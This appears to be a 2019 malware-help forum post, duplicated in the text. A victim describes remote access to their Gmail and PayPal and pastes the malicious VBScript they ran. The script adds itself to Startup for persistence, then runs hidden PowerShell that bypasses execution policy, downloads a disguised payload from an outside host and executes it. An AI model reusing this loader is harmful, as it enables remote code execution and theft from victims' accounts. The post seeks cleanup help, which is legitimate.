What is this virus and how can i go about cleaning? in Malware Finding and Cleaning Posted December 1, 2019 Hi! So i came about this being dumb and installed it. Didn't think anything of it at first until i noticed out of the corner of my eye that team viewer was opened and they were attempting to go into my gmail. They've already looked into my paypal. dim s15001 const CONSOLE_HIDE=0 const CONSOLE_SHOW=1 const CMD_WAIT=true set oShell = wscript.createObject("WScript.Shell") set sysOb = createobject("scripting.filesystemobject") startup = oShell.specialfolders ("startup") & "\update.vbs" sysOb.copyfile wscript.scriptfullname,startup ,true oShell.run "cmd /c powers" & "hell " & "-ExecutionPolicy Bypass -windowstyle hidden -noexit -command [System.Net.WebClient]$webClient = New-Object System.Net.WebClient;[System.IO.Stream]$stream = $webClient.OpenRead('htt" & "p://" & "www.m9c.net/uploads/15744376681.jpg');[System.IO.StreamReader]$sr = New-Object System.IO.StreamReader -argumentList $stream;[string]$results = $sr.ReadToEnd();IEX $results", CONSOLE_HIDE, CMD_WAIT
What is this virus and how can i go about cleaning?
in Malware Finding and Cleaning
Posted
Hi!
So i came about this being dumb and installed it.
Didn't think anything of it at first until i noticed out of the corner of my eye that team viewer was opened and they were attempting to go into my gmail.
They've already looked into my paypal.
dim s15001 const CONSOLE_HIDE=0 const CONSOLE_SHOW=1 const CMD_WAIT=true set oShell = wscript.createObject("WScript.Shell") set sysOb = createobject("scripting.filesystemobject") startup = oShell.specialfolders ("startup") & "\update.vbs" sysOb.copyfile wscript.scriptfullname,startup ,true oShell.run "cmd /c powers" & "hell " & "-ExecutionPolicy Bypass -windowstyle hidden -noexit -command [System.Net.WebClient]$webClient = New-Object System.Net.WebClient;[System.IO.Stream]$stream = $webClient.OpenRead('htt" & "p://" & "www.m9c.net/uploads/15744376681.jpg');[System.IO.StreamReader]$sr = New-Object System.IO.StreamReader -argumentList $stream;[string]$results = $sr.ReadToEnd();IEX $results", CONSOLE_HIDE, CMD_WAIT